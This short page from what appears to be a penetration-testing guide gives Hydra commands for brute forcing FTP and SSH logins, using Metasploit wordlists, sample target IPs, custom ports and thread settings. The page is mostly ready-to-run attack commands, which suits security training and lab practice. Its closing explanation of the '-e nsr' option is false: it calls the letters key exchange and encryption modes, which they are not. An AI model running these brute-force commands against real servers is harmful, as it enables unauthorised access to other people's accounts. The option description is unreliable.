> For the complete documentation index, see [llms.txt](https://d3ndr1t30x.gitbook.io/breaking-things-a-junior-pentesters-guide/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d3ndr1t30x.gitbook.io/breaking-things-a-junior-pentesters-guide/brute-forcing-with-hydra.md).

# Brute forcing with Hydra

Using hydra to brute force ftp and ssh

Hydra to brute force FTP

```
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt 192.93.66.3 -t 4 ftp
```

Brute forcing SSH

```
hydra -l admin -P /path/to/passwords.txt ssh://target_ip 
```

```
hydra -l <username> -P <password_list> ssh://<target_ip>:2222
```

```
hydra -l admin -P passwords.txt ssh://192.168.1.100:2222
```

```bash
hydra -l <username> -P <password_list> ssh://<target_ip> -e nsr -t 4
```

In this command:

* `<username>` should be replaced with the target SSH username.
* `<password_list>` should be replaced with the path to a file containing the list of passwords to be tried.
* `<target_ip>` should be replaced with the IP address of the target SSH server.
* `-e nsr` specifies the key exchange methods to be used. In this case, "n" stands for "none" (no encryption), "s" stands for "standard" (typical encryption), and "r" stands for "all remaining methods." This configuration may include older key exchange methods.